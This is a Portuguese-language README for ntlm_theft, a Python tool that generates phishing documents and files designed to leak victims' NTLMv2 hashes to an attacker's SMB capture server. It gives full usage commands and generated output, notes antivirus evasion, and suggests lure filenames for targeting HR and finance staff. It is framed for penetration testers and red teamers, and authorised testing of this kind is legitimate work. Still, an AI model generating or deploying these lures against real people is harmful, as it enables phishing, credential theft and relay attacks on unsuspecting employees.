
Uma ferramenta para gerar múltiplos tipos de arquivos de roubo de hash NTLMv2 por Jacob Wilkin (Greenwolf)
Uma ferramenta para gerar múltiplos tipos de arquivos de roubo de hash NTLMv2.
ntlm_theft é uma ferramenta Python3 de código aberto que gera 21 tipos diferentes de documentos de roubo de hash. Estes podem ser usados para phishing quando o alvo permite tráfego smb fora de sua rede, ou se você já está dentro da rede interna.
Os benefícios desses tipos de arquivo em comparação com documentos baseados em macro ou documentos de exploração é que todos eles são construídos usando "funcionalidade pretendida". Nenhum foi sinalizado pelo Windows Defender Antivirus em junho de 2020, e 17 dos 21 ataques funcionaram em um host Windows 10 totalmente atualizado.
ntlm_theft suporta os seguintes tipos de ataque:
ntlm_theft é voltado principalmente para testadores de penetração e Red Teamers, que o usarão para realizar phishing interno em funcionários da empresa alvo, ou para testar em massa antivírus e gateways de email. Também pode ser usado para phishing externo se o acesso SMB de saída for permitido no firewall de perímetro.
Eu achei útil durante testes de penetração ver facilmente quais tipos de arquivo tenho disponíveis, em vez de perder tempo configurando um ataque específico como seria usado em compromissos de red team. Você poderia enviar um arquivo .rtf ou .docx para o departamento de RH, e um documento de planilha .xlsx para o departamento financeiro.
Estas instruções mostrarão os requisitos e como usar o ntlm_theft.
ntlm_theft requer Python3 e xlsxwriter:
pip3 install xlsxwriter
Para iniciar a ferramenta, 4 parâmetros devem ser fornecidos: um formato de entrada, o arquivo ou pasta de entrada e o modo de execução básico:
-g, --generate : Escolha gerar todos os arquivos ou um tipo de arquivo específico
-s, --server : O endereço IP do seu servidor de captura de hash SMB (Responder, impacket ntlmrelayx, Metasploit auxiliary/server/capture/smb, etc)
-f, --filename : O nome base do arquivo sem extensão, pode ser renomeado posteriormente (ex: test, Board-Meeting2020, Bonus_Payment_Q4)
Aqui está um exemplo de como uma execução se parece gerando todos os arquivos:
# python3 ntlm_theft.py -g all -s 127.0.0.1 -f test
Created: test/test.scf (BROWSE)
Created: test/test-(url).url (BROWSE)
Created: test/test-(icon).url (BROWSE)
Created: test/test.rtf (OPEN)
Created: test/test-(stylesheet).xml (OPEN)
Created: test/test-(fulldocx).xml (OPEN)
Created: test/test.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: test/test-(includepicture).docx (OPEN)
Created: test/test-(remotetemplate).docx (OPEN)
Created: test/test-(frameset).docx (OPEN)
Created: test/test.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: test/test.asx (OPEN)
Created: test/test.jnlp (OPEN)
Created: test/test.application (DOWNLOAD AND OPEN)
Created: test/test.pdf (OPEN AND ALLOW)
Created: test/zoom-attack-instructions.txt (PASTE TO CHAT)
Generation Complete.

Aqui está um exemplo de como uma execução se parece gerando apenas arquivos modernos:
# python3 ntlm_theft.py -g modern -s 127.0.0.1 -f meeting
Skipping SCF as it does not work on modern Windows
Created: meeting/meeting-(url).url (BROWSE TO FOLDER)
Created: meeting/meeting-(icon).url (BROWSE TO FOLDER)
Created: meeting/meeting.rtf (OPEN)
Created: meeting/meeting-(stylesheet).xml (OPEN)
Created: meeting/meeting-(fulldocx).xml (OPEN)
Created: meeting/meeting.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: meeting/meeting-(includepicture).docx (OPEN)
Created: meeting/meeting-(remotetemplate).docx (OPEN)
Created: meeting/meeting-(frameset).docx (OPEN)
Created: meeting/meeting-(externalcell).xlsx (OPEN)
Created: meeting/meeting.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: meeting/meeting.asx (OPEN)
Created: meeting/meeting.jnlp (OPEN)
Created: meeting/meeting.application (DOWNLOAD AND OPEN)
Created: meeting/meeting.pdf (OPEN AND ALLOW)
Skipping zoom as it does not work on the latest versions
Skipping Autorun.inf as it does not work on modern Windows
Skipping desktop.ini as it does not work on modern Windows
Generation Complete.
Aqui está um exemplo de como uma execução se parece gerando apenas um arquivo xlsx:
# python3 ntlm_theft.py -g xlsx -s 192.168.1.103 -f Bonus_Payment_Q4
Created: Bonus_Payment_Q4/Bonus_Payment_Q4-(externalcell).xlsx (OPEN)
Generation Complete.
ntlm_theft Criado por Jacob Wilkin Copyright (C) 2020 Jacob Wilkin
Este programa é software livre: você pode redistribuí-lo e/ou modificá-lo sob os termos da Licença Pública Geral GNU conforme publicada pela Free Software Foundation, seja a versão 3 da Licença, ou (a seu critério) qualquer versão posterior.
Este programa é distribuído na esperança de que seja útil, mas SEM QUALQUER GARANTIA; sem mesmo a garantia implícita de COMERCIALIZAÇÃO ou ADEQUAÇÃO A UM PROPÓSITO PARTICULAR. Veja a Licença Pública Geral GNU para mais detalhes.